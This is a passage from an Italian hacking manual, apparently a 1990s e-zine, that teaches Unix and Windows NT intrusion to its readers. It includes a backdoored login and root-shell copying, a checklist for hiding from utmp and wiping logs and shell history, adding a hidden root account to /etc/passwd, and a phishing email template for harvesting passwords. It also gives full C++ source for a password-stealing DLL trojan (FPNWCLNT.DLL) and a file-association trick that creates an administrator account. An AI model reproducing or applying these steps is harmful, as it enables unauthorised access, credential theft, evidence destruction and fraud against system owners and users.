| system('/bin/cp /bin/sh /tmp/usami'); |
| |
|(esegue i comandi tra virgolette, in questo caso copia la shell in tmp) inserita|
|in un punto di un qualsiasi programma. Un'ulteriore passo è fare in modo che so-|
|lo chi conosce della backdoor possa farla entrare in funzione. Ad esempio, se la|
|backdoor è stata inserita nel programma "login" potremmo fare in modo che se si |
|avvia login in questo modo: |
| |
| login Lord_Shinva |
| |
|anziché eseguire il codice originale di login verrà eseguita la backdoor, altri-|
|menti verrà eseguito il codice normalmente. Nient'altro che un semplice "if/then|
|/else" come nella seguente pseudo-codifica: |
| |
| if (strcmp(argv[1],"Lord_Shinva") { |
| ...codice della backdoor... |
| } |
| else { |
| ...codice di login... |
| } |
| |
| |
|In genere però creare una backdoor è molto più complicato che creare un troiano,|
|poiché mentre quest'ultimo è un semplice programmino in C che esegue un paio di |
|chiamate system() per eseguire dei comandi, una backdoor deve comportarsi pro- |
|prio come il programma originale di cui ha preso il posto e quindi è necessario |
|avere il sorgente (listato) del programma originale. |
|Ciò non e` impossibile, ma richiede già una certa bravura con il C e con Unix, e|
|bisogna sapere dove cercare. |
| |
|Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in pra|
|tica, creare una backdoor non sarà niente di complicato, una volta reperito il |
|listato del programma da sostituire (potreste addirittura farlo interamente da |
|soli, se si tratta di un programmino come LS). |
| |
+--------------------------------------------------------------------------------+
| |
| [L] - Virtuosismi Tecnici |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - VIRTUOSISMI TECNICI PARTE I |
| |
|Supponiamo di aver finalmente hackerato un server e di avere username e password|
|di un utente. E ora cosa facciamo? Ci limitiamo a leggere la sua posta, a col- |
|legarci via Telnet dal suo account e cose del genere? Certamente no... |
| |
|I passi principali nell'hackerare un server consistono nel fare quanto segue: |
| |
| - Prendere tutte le precauzioni prima di collegarsi preferibilmente usare l'ac|
| count di qualcun'altro (un utente di cui abbiamo crackato la password) e/o |
| usare un account Telnet su una BBS, utilizzare il "bounce" e così via |
| |
| - Scegliere un server (di tipo Unix, in questo caso) e crackarne le password |
| individuando la locazione del file, se le password sono shadow o meno, ecc..|
| |
| - Collegarsi con l'account crackato di uno degli utenti di quel server |
| |
| - Utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi è on- |
| line e cosa sta facendo (se il SysAdmin è in giro, sarà meglio lasciar perde|
| re e collegarsi più tardi, meglio se di notte o la mattina molto presto) |
| |
| - Digitare "unset HISTFILE" per far sì che il file "history" (dove vengono an-|
| notate tutte le operazioni che svolgiamo!) venga eliminato non appena lasce-|
| remo il sistema |
| |
| - Inviare, compilare e usare un programma per nasconderci dal log di utmp |
| |
| - Controllare con il comando "who" se "si vede" che siamo in linea |
| |
| - Se non si è riusciti a crackare la password di root, usare un exploit per ot|
| tenere accesso root, in modo da poter eseguire comandi nella shell |
| |
| - [OPZIONALE] crearsi un nuovo account su quel server, utilizzando un nome po-|
| co vistoso (dare un'occhiata al file delle password per uniformarvi agli al-|
| tri in modo da non far saltare all'occhio il vostro nuovo account) |
| |
| - Installare una backdoor (se si è in grado di farlo), oppure copiare la shell|
| root /bin/sh in qualche directory "sperduta" sotto falso nome e cambiarne il|
| livello d'accesso con chmod, in modo da poter usare la shell di root anche |
| quando si accede al sistema con l'account di un utente qualsiasi (e quindi |
| senza privilegi); se si è creato un nuovo account (vedi sopra) potremo met- |
| tere la shell "segreta" nella nostra directory utente, in modo che nessun al|
| tro la noti e possa usarla all'infuori di noi (un buon posto è la directory |
| .term nella directory /users oppure /home/users o comunque dove si trovano |
| le directory degli utenti). |
| Si può anche aggiungere un account al file delle password, in modo da utiliz|
| zare la shell root quando ci servirà, utilizzando semplicemente Telnet: usan|
| do PHF con il comando "echo stringa >> /etc/passwd" oppure editando diret- |
| tamente il file delle password si aggiunga: |
| |
| nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh |
| |
| oppure qualcosa di meno vistoso, come un finto "account di sistema" del tipo|
| |
| spoolsys::13:12:system:/var/spool/:/bin/sh |
| |
| (ovviamente si potrà anche utilizzare una password tra i due :: se non si |
| vuole consentire a qualcun altro di accedere a questo account) |
| |
| - [IMPORTANTISSIMO] cancellare tutte le tracce prima di lasciare il server e |
| in particolare... |
| |
| - Tutto quello che viene registrato riguardo al vostro server (host name, IP|
| Address, date e orari) nei files di log in /var/log e /var/adm |
| |
| - Eliminare sempre il file di history del vostro account (.bash_history), e |
| per evitare che venga creato di nuovo lo si setti a null con il comando |
| "ln -s /dev/null .bash_history" |
| |
| - Eliminare il file xferlog contenente il log dei trasferimenti di file (se |
| se ne sono fatti) |
| |
|Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non dovre-|
|mo fare che collegarci con l'account di un utente qualsiasi e poi, in base a |
|quello che abbiamo fatto prima, utilizzare la backdoor per accedere a root, op- |
|pure usare la shell "segreta" che abbiamo installato. |
| |
|Tutto questo andrà fatto solo la prima volta, cioè quando hackeriamo il server. |
|Ciò ci consentirà di non far notare un'attività hacker su quel server, cosicché |
|il nostro account (e soprattutto la shell root ;) durerà più a lungo... |
|Anche per moltissimo tempo, se il SysAdmin non sta attento a quel che accade nel|
|suo sistema. |
| |
| [NOTA IMPORTANTE] Se non siete ancora in grado di nascondere le vostre tracce |
| come descritto sopra, avrete bisogno di tempo per imparare, |
| perciò NON tentate di hackerare un server. |
| Usate Linux (che spero vi sarete finalmente installati ;) e |
| provate, usando il comando "man nome_comando" ogniqualvolta |
| non capite il funzionamento di un particolare comando. |
| Sperimentate sempre prima in modalità locale (sul vostro com-|
| puter), se ne avete la possibilità. |
| |
|Quando dovete analizzare il contenuto di un file di log alla ricerca di informa-|
|zioni da cancellare (come il vostro IP Address o l'host name del vostro provi- |
|der) potete utilizzare "grep" (un comando Unix per cercare una stringa di testo |
|in un file) come in questo esempio: |
| |
| cd /var/log |
| grep hackers.com * |
| |
|In questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della di|
|rectory /var/log (ma anche /var/adm). Se l'output (i risultati della ricerca) è |
|troppo lungo per essere contenuto in una pagina, basterà aggiungere il piping al|
|comando "more", cosi`: |
| |
| grep hackers.com * | more |
| |
|e potremo comodamente scorrere in alto e in basso la nostra lista. |
| |
|Se ad esempio troverete qualcosa del genere: |
| |
| nome_file_log data orario nome_software_server nome_del_vostro_provider.com |
| altro_file_log data orario nome_software_server nome_del_vostro_provider.com |
| .... |
| |
|saprete che i file nome_file_log e altro_file_log stanno "registrando" cose che |
|non vorreste proprio far sapere al SysAdmin! |
| |
|Come fregarli? E' presto detto... :) |
| |
|Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si tro-|
|va nella directory /etc Il suo compito è "dire" al sistema cosa loggare (regis- |
|trare in file di log) e dove mettere i log (un altro file interessante è |
|/etc/login.defs dove è possibile abilitare/disabilitare il logging delle opera- |
|zioni effettuate con file ad accesso root). |
| |
|Ci basterà quindi editare il file /etc/syslog.conf e cancellare i file "scomodi"|
|... ma non solo. Affinché i cambiamenti apportati abbiano effetto, dovremo riav-|
|viare il programma syslogd, o più precisamente il suo processo (le operazioni |
|che svolge in background). |
| |
|Ma prima di riavviare il processo dovremo disattivalo. Per farlo, useremo il com|
|ando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a quale nume-|
|ro di processo è associato syslogd. Il primo numero sulla sinistra sarà quello |
|che ci interessa: in pratica, è come un numero di indentificazione che varia da |
|processo a processo. |
| |
|Digitiamo ora "kill -HUP numero_di_processo" e syslogd verrà disattivato e subi-|
|to riavviato. Abbiamo ora ottenuto quello che volevamo: niente più "spie" che |
|possano aiutare il SysAdmin ad identificarci. |
| |
| [NOTA] In Unix le maiuscole e le minuscole sono fondamentali. Attenetevi sempre|
| alle mie istruzioni e tenete presente che i comandi sono quasi sempre in|
| minuscolo, mentre le opzioni cambiano effetto a seconda che siano maius-|
| cole o minuscole. |
| |
+--------------------------------------------------------------------------------+
| |
| [M] - Virtuosismi Tecnici |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - VIRTUOSISMI TECNICI PARTE 2 |
| |
|Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche avanzate|
|di hacking su Unix (da leggere quando sarete più esperti). |
|Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono (relati-|
|vamente) nuove. |
| |
|Ricordate sempre che: |
| |
| - Fare del port surfing (connettersi via Telnet alle porte di un server per |
| trovare vie d'accesso non controllate e informazioni utili) e studiare il |
| funzionamento dei servizi leggendo le RFC presenti su Internet è utilissimo |
| per scoprire molte vulnerabilità di un generico sistema; vi meraviglierete |
| di quello che potrete trovare: outdial (collegamenti via modem che vi permet|
| tono di telefonare ovunque nel mondo, anche a casa vostra, digitando comandi|
| standard Hayes direttamente nel modem del server che state hackerando), lis-|
| te di informazioni sulla struttura interna del network (come nel caso della |
| porta 15, detta "netstat"), possibilità di manipolare un servizio per fare |
| le cose più disparate e attacchi all'integrità del sistema, per dirne qual- |
| cuna... |
| |
| - Installare una backdoor è spesso necessario: anche se al momento il SysAdmin|
| non sa della vostra presenza, prima o poi se ne accorgerà ed eliminerà il |
| vostro account; inoltre dai log potrebbe risalire al modo in cui siete "en- |
| trati" nel sistema, e correggere il problema: in tal caso, installare una |
| backdoor preventivamente (cancellando le tracce di ogni operazione come des-|
| critto in uno dei precedenti volumi) è indispensabile; |
| |
|Ecco altri consigli più o meno avanzati: |
| |
| - Nascondetevi da utmp e dai comandi come "who" utilizzando il programma in- |
| cluso in uno dei precedenti volumi, in modo che nessuno potrà notare la vos-|
| tra presenza del sistema (per maggior sicurezza collegatevi di notte o al |
| mattino presto); |
| |
| - Manipolate i file .rhost per poter accedere senza restrizioni da remoto; |
| |
| - Se siete in grado di programmare e conoscete *bene* Unix, potete installare |
| delle nuove chiamate di sistema che svolgano le operazioni che vi servono |
| (una per la gestione dei file e dei loro permessi, una di riserva per l'ese-|
| cuzione shell, e così via) e disabilitare i controlli per l'accesso root al |
| sistema, manipolando la kernel (argomento troppo complicato per poter essere|
| spiegato in questi volumi); |
| |
| - Se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se in- |
| vece avete solo accesso in lettura, scrivete un programmino in C che inter- |
| cetti le sessioni degli altri terminali (TTY) per intercettare le password |
| degli altri utenti; |
| |
| - Modificate i permessi d'accesso dei file più interessanti, come /dev/mem e |
| copiate la shell /bin/sh nella vostra directory utente, in una directory nas|
| costa (oppure un .term) sotto falso nome e create degli script SUID; |
| |
| - Editate gli script (.login .profile .cshrc ecc...) per installare troiani; |
| |
| - Controllate se esistono password nel file .netrc (potrebbero esservi utili |
| per accedere ad altri account); |
| |
| - Provate sempre ad utilizzare i programmi in modo "non previsto" ;) per trova|
| re nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come "more" |
| o "man", ad esempio, potreste riuscire ad accedere alla shell... |
| |
| - Fate lo stesso con le chiamate di sistema, passando loro parametri non pre- |
| visti; |
| |
| - Controllate i file system utilizzando il comando showmount e
state attenti |
| ai permessi... potreste trovare intere partizioni accessibili a chiunque! |
| |
| - Controllate l'esistenza dei seguenti bugs: |
| lpr -r nomefile stamperà il file e lo cancellerà (utile in caso di file per |
| i quali non avete permessi) |
| su username -c /bin/sh darà accesso a /bin/sh all'account username |
| |
| - Esplorate i file SUID utilizzando il comando: |
| find / -perm -6000 -ls |
| |
|per accedere a uno di essi, basta utilizzare il comando "ln" per creare un link |
|al file interessato, con il nome "-i", e quindi eseguire il link così creato; |
| |
| - Eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel collegarvi|
| e nel fare qualsiasi cosa: questo vale tanto per un semplice provider che |
| per un mainframe del Pentagono (forse un pò di più in quest'ultimo caso... |
| ;) |
| |
|Un buon metodo per trovare informazioni di ogni tipo (username e password di al-|
|tri utenti - anche di root, se siete fortunati - posta elettronica di altri e |
|intere sessioni di chat, per citarne alcune) è creare un programmino in C che al|
|lochi quanta più memoria possibile, e poi cercare nel blocco allocato (oppure |
|salvare l'intero blocco e scaricarselo per controllarlo con più calma). |
|Ciò che accade è questo: per soddisfare la vostra richiesta di spazio in memo- |
|ria, il sistema metterà a disposizione quella usata in precedenza dalle altre |
|applicazioni, senza però preoccuparsi di ripulirla! =) |
| |
+--------------------------------------------------------------------------------+
| |
| [N] - Social Engineering |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - SOCIAL ENGINEERING |
| |
|Social Engineering, ovvero Ingegneria Sociale... cos'è? |
| |
|E' il metodo più semplice ed efficace per ottenere informazioni che altrimenti |
|non sapreste dove trovare, come ad esempio la password di un utente, o addirit- |
|tura i suoi dati personali (indirizzo, telefono, ecc). |
| |
|Sono solo esempi, ma con un pò di fantasia e fortuna potete fare davvero di tut-|
|to. Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come quelle che |
|abbiamo visto fino ad ora: niente Telnet, niente file di log, solo voi e la vos-|
|tra intelligenza. |
| |
|Ma procediamo per ordine. |
| |
|Fare del "Social Engineering" significa far credere di essere qualcun altro allo|
|scopo di ottenere qualcosa. |
|Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare sul |
|vostro conto un paio di milioni. Al massimo vi riderà in faccia... :) Ma se in- |
|vece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da una riunione|
|d'affari e dirle di sbrigare un attimino una faccenda urgente per conto suo.... |
|ho reso l'idea? ;) |
| |
|Beh, normalmente ci si limita ad utilizzare il Social Engineering per ottenere |
|password e dati personali, ma l'uso è lasciato a voi. |
| |
|Si può fare S.E. (Social Engineering) per telefono o via modem (e Internet). |
| |
|Le regole sono semplici: |
| |
| - Dovete agire "professionalmente" ed essere credibili |
| - Dovete informarvi sull'argomento che state per affrontare |
| |
|e, se utilizzerete il telefono: |
| |
| - Dovete essere sicuri di voi stessi e di quello che dite |
| - Dovete avere una voce credibile, che non sia cioè quella di un ragazzo che |
| vuole sfottere un pò per telefono... |
| |
|Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti sapere|
|che praticamente tutti gli hackers più conosciuti utilizzano proprio il S.E. per|
|ottenere le informazioni di cui hanno bisogno. |
|E' l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa ob- |
|soleta con il passare del tempo. |
| |
|Ma ora veniamo alla pratica. |
| |
|Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la |
|password del suo account Internet oppure quella della sua mailbox). |
| |
|In quale caso potremmo chiedere a un utente la sua password? |
| |
|Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio u-|
|tenti) del suo provider. |
| |
|In questo caso, non dovremo fare altro che crearci un account di email su usa.- |
|net mailexcite.com che possa sembrare l'indirizzo email di un tecnico del provi-|
|der, come ad esempio servizio_utenti@usa.net o altro. |
| |
|Meglio ancora, se avete un account di posta elettronica potete usare INAME |
|http://yahoo.iname.com) per creare un account email "virtuale". Potrete cioè cre|
|arvi un account come ad esempio servizio_tecnico@fastservice.com (che è MOLTO |
|più credibile di pippo@hotmail.com) e tutta la posta che verrà inviata a quell'-|
|account sarà ridirottata anonimamente sul vostro account normale. |
| |
|Potrete scegliere tra vari nomi di server, e ciò torna a vostro favore. |
| |
|Se state fingendo di essere del servizio tecnico o help utenti di un provider |
|scegliete qualityservice.com, topservice.com, oppure cyberservices.com. |
| |
|Ora viene il bello. Supponiamo di voler ottenere una password di un server senza|
|allarmare il SysAdmin tentando di prelevare il file delle password :) |
| |
|Ciò che vi serve è l'indirizzo di email di un utente qualsiasi di QUEL server. |
|Come trovarlo: se il server ha una messaggistica, un forum dove gli utenti pos- |
|sono chiacchierare... vedete lì. |
| |
|Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a |
|http://www.four11.com e cercate il server che vi interessa. |
|Avrete una lista di tutte le email che vi possono interessare, complete di nome |
|e cognome che vi torneranno certamente utili. |
|Oppure potete usare finger, se è abilitato... facendo "finger @server.com" avre-|
|te la lista di tutti gli utenti presenti su quel sistema. |
|Come vedete, ci sono molti modi per ottenere la stessa cosa. |
| |
|Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del Webmaster o|
|di uno dei responsabili o dei tecnici del server! |
| |
|Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo: |
| |
+---------------------------------INIZIO-MESSAGGiO-------------------------------+
| |
| Da: Servizio_Tecnico@TopService.com |
| A: utente@provider.it |
| Soggetto: |
| |
| Gentile Utente, |
| per offrirLe un miglior servizio abbiamo aggiornato il server software del ns.|
| Internet Provider. Per problemi tecnici non ci è stato possibile importare il |
| database Utenti, motivo per cui La preghiamo di volerci comunicare al più pres|
| to il suo username e la sua password, scrivendo al nostro indirizzo email: |
| Servizio_Tecnico@TopService.com |
| |
| La ringraziamo per la cortese attenzione. |
| |
| Cordiali saluti |
| |
| Dr. Antonio Brambilla |
| Resp. Servizio Tecnico XXXX Internet Provider |
| Via ................ |
| Tel/Fax ............ |
| |
+---------------------------------FINe-MESSAGGIO---------------------------------+
| |
|Poche righe, insomma, ma ben scritte. |
|E per rendere più convincente il tutto, aggiungete anche informazioni come indi-|
|rizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc... |
| |
|Vi meraviglierete di come talvolta anche le società che si appoggiano ai provi- |
|der per l'accesso a Internet cascano in questi trucchi. |
| |
| [NOTA] In alcuni casi può essere utile utilizzare la tecnica delle FakeMail per|
| inviare un "ordine di servizio" a qualcuno da parte di una persona (un |
| dirigente, ad esempio) di cui si conosca però l'indirizzo di email. |
| Ricordate però che, in caso di risposta, l'email andrà all'indirizzo fal|
| so che avremo utilizzato (cioé quello del dirigente!). |
| |
|Se avessimo invece voluto fare qualcosa di più complicato, come ottenere un qual|
|che tipo di informazioni più o meno riservate da una grande azienda, avremmo do-|
|vuto utilizzare (preferibilmente) il telefono. Avere prontezza di riflessi, si- |
|curezza e una voce "adatta allo scopo" in tal caso sarà indispensabile se non si|
|vuole mandare tutto a monte. |
| |
|Nel caso di personale particolarmente attento (raro...), del tipo che vuole chie|
|dere prima un'autorizzazione al capo e roba del genere, è utile far capire di |
|avere altri affari da sbrigare, di essere seccati dall'inettitudine di quell'im-|
|piegato e roba del genere... perdere la pazienza, insomma, senza essere né pate-|
|tici né isterici. |
| |
+--------------------------------------------------------------------------------+
| |
| [O] - Windows NT |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING AVANZATO DI WINDOWS NT |
| |
|Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che co-|
|nosciate già il funzionamento dei Registry di Windows, in quanto una loro trat- |
|tazione esula dall'hacking ed è comunque reperibile sia in libreria che su Inter|
|net. |
| |
|Mi limiterò quindi a ricordare solo le basi della sicurezza in Windows NT: |
| |
| LSA (Local Security Authority, ovvero Autorità di Sicurezza Locale) E' cono- |
| sciuto anche con il nome di Security Subsystem (Sottosistema di Sicurezza)|
| E' il componente centrale della sicurezza NT ed è preposto all'autentica- |
| zione degli utenti e all'audit (logging). |
| |
| SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account) For-|
| nisce autenticazione al LSA e controlla i gli account per gruppi e utenti.|
| |
| SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza) |
| Controlla gli account ogniqualvolta un utente cerca di accedere a un file |
| o directory e gli da o nega il permesso in base ai suoi privilegi d'acces-|
| so, e comunica le infrazioni al LSA tramite messaggi di audit. |
| |
| UI (User Interface, ovvero Interfaccia Utente) E' in pratica quello che l'u- |
| tente vede, cioé l'interfaccia con la quale egli interagisce e che comuni-|
| ca in modo invisibile con gli elementi appena visti. |
| |
| ACL (Access Control List, ovvero Lista di Controllo dell'Accesso) Ogni utente |
| ha una ACL che rappresenta i suoi permessi e privilegi in fatto di directo|
| ry, file, ecc. |
| |
|L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua il |
|login, NT crea un token che rappresenta quell'utente e associa al token i privi-|
|legi che trova nella sua ACL, e agisce in base ad essi. |
| |
|Procederemo ora per quesiti, in modo da rendere più agevole la lettura. |
| |
| QUESITO 1: Quali sono i permessi di default? |
| |
|Questi sono i permessi per gli utenti di default: |
| |
| - Server Operators: spegnimento, anche da remoto; reset dell'orologio di sis- |
| tema; backup e restore. |
| - Backup Operators: spegnimento; backup e restore. |
| - Account Operators: spegnimento. |
| - Print Operators: spegnimento. |
| |
|Questi sono i permessi per le directory di Windows NT: |
| |
| \(root), \SYSTEM32, \WIN32APP Server Operator e Everyone possono leggere ed |
| eseguire file, mostrare i permessi e cambiare |
| gli attributi dei file. |
| |
| \SYSTEM32\CONFIG Everyone può effettuare una DIR in questa direc-|
| tory. |
| |
| \SYSTEM\DRIVERS, \SYSTEM\REPL Server Operator ha accesso completo. Everyone ha|
| solo accesso in lettura. |
| |
| \SYSTEM32\SPOOL Server Operator e Print Operator hanno accesso |
| completo. Everyone ha solo accesso in lettura. |
| |
| \SYSTEM32\REPL\EXPORT Server Operator può leggere ed eseguire file, |
| permessi e attributi. Replicator ha solo accesso|
| in lettura. |
| |
| \SYSTEM32\REPL\IMPORT Server Operator e Replicator possono leggere ed |
| eseguire file, permessi e attributi. Everyone ha|
| accesso in lettura. |
| |
| \USERS Account Operator può leggere, scrivere, cancel- |
| lare ed eseguire file. Everyone può effettuare |
| una DIR. |
| |
| \USERS\DEFAULT Everyone può leggere, scrivere ed eseguire file.|
| |
| QUESITO 2: Qual'è l'account più interessante? |
| |
|Sicuramente l'account dell'amministratore (SysAdmin), ma potrebbe essere stato |
|rinominato... in tal caso, basta eseguire "NBTSTAT -A ipaddress" per conoscere |
|il nuovo nome dell'account e opzionalmente anche un elenco completo di quali |
|servizi sono in funzione, il nodename e l'eventuale indirizzo hardware dell'et- |
|hernet (in caso di LAN). |
| |
| QUESITO 3: Dove si trovano le password in Windows NT? |
| |
|Da nessuna parte. Windows NT (come anche UNIX) non immagazzina le password, ma |
|bensì un hash (valore numerico calcolato in base alla password, dal quale non si|
|può risalire alla stringa originale, in quanto è solo un numero). |
| |
|Per crackare gli hash si può utilizzare il programma PWDUMP (lo potete trovare |
|sui siti hacker) e comunque si tratta di un attacco basato su dizionari, quindi |
|di tipo "brute force" (forza bruta). |
| |
|Quindi, dicevamo, la domanda giusta sarebbe: "dov'è l'elenco degli hash?" |
| |
|La risposta è: nella directory \WINNT\SYSTEM32\CONFIG c'e` un file chiamato SAM.|
|E' questo il database che cerchiamo. E' leggibile da tutti gli utenti (a meno |
|che quel simpaticone del SysAdmin non ci abbia messo lo zampino), ma comunque |
|non si può leggere in quanto bloccato (via sharing) perché è in uso dai componen|
|ti di sistema di NT. A questo punto il SysAdmin giubila ed esulta, ma l'hacker |
|sa dell'esistenza di SAM.SAV che è il backup di SAM... |
| |
|Inoltre, durante l'installazione di NT, una copia del SAM viene posta in \WINNT\|
|REPAIR. Quasi sicuramente troveremo solo gli account Administrator e Guest, ma |
|credo che Administrator (SysAdmin) sia abbastanza... |
| |
|A proposito del SAM... se siete completamente pazzi potete anche mettere le vos-|
|tre manacce nelle keys del SAM. |
|Per esempio, schedulando il servizio di logon come LocalSystem e permettendogli |
|di interagire con il desktop, e poi schedulando una sessione interattiva di |
|regedt32.exe (come LocalSystem) con il quale manipolare le keys. Ovviamente se |
|non sapete a cosa serve tutto questo sarà meglio non toccare niente, altrimenti |
|saranno guai grossi... |
| |
| QUESITO 4: Come accedere al file system se è di tipo NTFS anziché FAT? |
| |
|Se siete vicini alla macchina (cioè in locale), effettuate un boot tramite un |
|dischetto MS-DOS ed eseguite NTFSDOS.EXE per accedere al NTFS. Oppure potete uti|
|lizzare il dischetto di boot di Linux... in pratica basta semplicemente eseguire|
|Linux. Può sembrare strano, ma ciò vi darà accesso totale al file system in quan|
|to Linux può leggere NTFS. |
| |
| QUESITO 5: Sono vicino alla console locale, come accedo alle informazioni de- |
| gli altri computer? |
| |
|Se il computer sul quale vi trovate è un domain controller (oppure se è collega-|
|to al computer) basterà fare quanto segue: |
| |
| 1. Da USER MANAGER, create una trusting relationship (rapporto di fiducia) con|
| l'obiettivo. |
| 2. Inserite la password (quello che volete). Sembrerà non funzionare, ma l'ob-|
| biettivo sar... ora nella vostra trusting list. |
| 3. Avviate NT Explorer e cliccate col tasto destro del mouse su qualsiasi car-|
| tella. |
| 4. Selezionate SHARING (condivisione). |
| 5. Dalla finestra SHARED, selezionate ADD ("aggiungi", se NT è in italiano). |
| 6. Dal menu ADD, selezionate il vostro obiettivo (il server "vittima"). |
| 7. Ora vedrete l'intera lista dei gruppi dell'obiettivo. |
| 8. Selezionate SHOW USERS e vedrete l'intera lista utenti, completa di nomi |
| dei file, directory e descrizioni... |
| |
| QUESITO 6: Ho accesso Administrator, come accedere alla lista degli utenti? |
| |
|Ah ci siete riusciti, bene bene... ;) Usate questo metodo: |
| |
| - Eseguite NBTSTAT -A ipaddress |
| - Aggiungete il nome che otterrete al file LMHOSTS |
| - Se la versione di NT inferiore alla 4, digitate NBTSTAT -R per effettuare |
| il refresh dei nomi del NetBios |
| - Eseguite NET VIEW \\nomemacchina per vedere gli shares ("condivisioni") |
| - Eseguite DIR \\nomemacchina\share per listare gli shares (se aperti) |
| - Eseguite NET VIEW \\ipaddress oppure NET VIEW \\nome.completo.com se usate |
| Windows NT 4.0 |
| |
| QUESITO 7: Ho accesso Guest... come faccio ad avere accesso Administrator? |
| |
|NT 3.51 ha varie directory (e file) leggibili e scrivibili da tutti gli utenti |
|per default. Potete editare le associazioni tra un'applicazione e i file dati, |
|usando REGEDT32.EXE, ma prima dovete creare (e compilare) un'applicazione per |
|Win32 (magari in Delphi o C++ a 32-bit) che si limiti ad eseguire i seguenti co-|
|mandi e nient'altro: |
| |
| net user administrator hacker /y |
| notepad %1 %2 %3 %4 %5 |
| |
|Inviate (tramite upload) questa "applicazione" in una share (directory di con- |
|divisione) a cui avete accesso e cambiate l'associazione tra i file .txt e note-|
|pad in modo che punti alla locazione completa del vostro file (ad esempio |
|\\NomeWorkstation\RWShare\hahaha.exe). |
| |
|Non appena un file di testo verrà visualizzato da qualcuno sul server, quell'as-|
|sociazione verrà eseguita e sarà attivato l'user Administrator con password "hac|
|ker", alla faccia del SysAdmin... |
| |
|Per questo motivo, se io fossi il SysAdmin eliminerei il permesso Everyone dalla|
|chiave HKEY_CLASSES_ROOT dei registry, dando l'accesso completo solo a Creator e|
|Owner. |
| |
| QUESITO 8: La SYSTEM32 nella directory di sistema di NT è scrivibile, cosa si |
| potrebbe fare? |
| |
|Se il sistema è un Windows NT versione 4.0 la risposta è: molte cose... :) Bas- |
|ta creare un troiano sotto forma di DLL e rinominarlo FPNWCLNT.DLL e quindi met-|
|terlo in quella directory. Ad esempio, utilizzando questo troiano scritto in C++|
|troverete nella directory \TEMP del server tutti gli username e password di tut-|
|ti gli utenti che accedono al sistema... |
| |
+-----------------------------------INIZIO-CODE----------------------------------+
| |
| #include <windows.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| struct UNI_STRING { |
| USHORT len; |
| USHORT maxlen; |
| WCHAR *buff; |
| }; |
| |
| static HANDLE fh; |
| |
| BOOLEAN __stdcall InitializeChangeNotify () |
| { |
| DWORD wrote; |
| fh = CreateFile("C:\\temp\\shinva.txt", GENERIC_WRITE, |
| FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, |
| FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH, 0); |
| WriteFile(fh, "Procedura InitializeChangeNotify avviata\n", 31, &wrote, 0); |
| return TRUE; |
| } |
| |
| LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid, stru-|
| ct UNI_STRING *passwd) { |
| DWORD wrote; |
| WCHAR wbuf[200]; |
| char buf[512]; |
| char buf1[200]; |
| DWORD len; |
| |
| memcpy(wbuf, user->buff, user->len); |
| len = user->len/sizeof(WCHAR); |
| wbuf[len] = 0; |
| wcstombs(buf1, wbuf, 199); |
| sprintf(buf, "User = %s : ", buf1); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| |
| memcpy(wbuf, passwd->buff, passwd->len); |
| len = passwd->len/sizeof(WCHAR); |
| wbuf[len] = 0; |
| wcstombs(buf1, wbuf, 199); |
| sprintf(buf, "Password = %s : ", buf1); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| sprintf(buf, "RID = %x\n", rid); |
| WriteFile(fh, buf, strlen(buf), &wrote, 0); |
| return 0L; |
| } |
| |
+-----------------------------------FINE-CODE------------------------------------+
| |
|Quando analizzate il vostro "log file" controllate se ci sono username con SID |
|pari a -500 (SysAdmin). Guest ha SID pari a -501. |
|Ovviamente bisognera` riavviare il server dopo aver inviato la DLL, per farla at|
|tivare. |
| |
| QUESITO 9: Mi trovo con la schermata di login di NT (quella che esce premendo |
| CTRL-ALT-DEL), come faccio per bypassarla? |
| |
|Ecco qui di seguito spiegata la procedura per liberarsi dello screen-saver (fun-|
|ziona solo con NT inferiore alla versione 4.0). |
| |
|Basta entrare come Administrator e verrà mostrato lo schermo del desktop per al-|
|cuni secondi. Utilizzando il mouse (prima che lo schermo desktop non sia più ac-|
|cessibile) si possono effettuare modifiche, spostamenti, ecc. Se ciò non dovesse|
|accadere perché e` stato installato il Service Pack (sulla 3.x) c'è ancora una |
|speranza: bisognerà andare su un'altra workstation e digitare "shutdown \\nome- |
|computer /t:30" in modo che venga attivato uno shutdown (spegnimento) entro 30 |
|secondi sul computer "vittima" e appaia una Security Window. A questo punto si |
|potrà digitare il comando "shutdown \\nomecomputer /a" in modo che lo shutdown |
|venga annullato. |
|Andando sul computer "vittima" e muovendo il mouse lo schermo si cancellerà e |
|potremo premere CTRL-ALT-DEL per far apparire di nuovo la Security Window. |
|Si scelga "cancel" e si avrà immediatamente accesso al Program Manager! |
| |
| QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ? |
| |
